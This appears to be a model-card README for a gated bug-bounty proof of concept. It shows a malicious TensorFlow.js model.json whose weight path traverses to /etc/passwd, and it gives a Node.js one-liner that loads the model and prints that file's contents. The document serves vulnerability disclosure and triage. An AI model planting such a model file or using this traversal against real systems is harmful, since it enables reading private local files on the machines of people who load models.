--- license: mit tags: - security-poc - do-not-use --- # TensorFlow.js `model.json` path-traversal PoC (gated security artifact) **Gated security PoC. Access restricted to huntr / ProtectAI triage (`protectai-bot`).** This repo hosts a **malicious** TensorFlow.js model file that demonstrates an arbitrary local-file-read triggered purely by loading the model in Node.js. Do not load it on a machine whose local files you care about — it reads `/etc/passwd` into the model's weight data. ## The malicious file `model.json` is a valid TensorFlow.js GraphModel manifest. Its `weightsManifest[0].paths[0]` is a directory-traversal string: ```json "paths": [ "../../../../../../../../../../../../../../../../../../../../etc/passwd" ] ``` When `@tensorflow/tfjs-node` loads this model, `NodeFileSystem.loadWeights()` does `readFile(join(dirname(model.json), path))` with **no containment check**, so it reads `/etc/passwd` and returns its bytes as `ModelArtifacts.weightData`. ## Reproduce (standard "download a model, load it locally" flow) ```bash npm install @tensorflow/tfjs-node@latest # download model.json from this repo into ./m/ node -e ' const tf = require("@tensorflow/tfjs-node"); tf.io.fileSystem("./m/model.json").load().then(a => { console.log("bytes read:", a.weightData.byteLength); console.log(Buffer.from(a.weightData).toString("utf8").split("\n").slice(0,3).join("\n")); }); ' # -> prints the first lines of /etc/passwd (root:x:0:0:...) ``` `tf.io.fileSystem(...).load()` is exactly the handler that the public `tf.loadGraphModel("file://.../model.json")` / `tf.loadLayersModel("file://...")` entrypoints use internally. The same sink exists in `@tensorflow/tfjs-inference`. See the linked huntr report for full root-cause, affected packages, and remediation.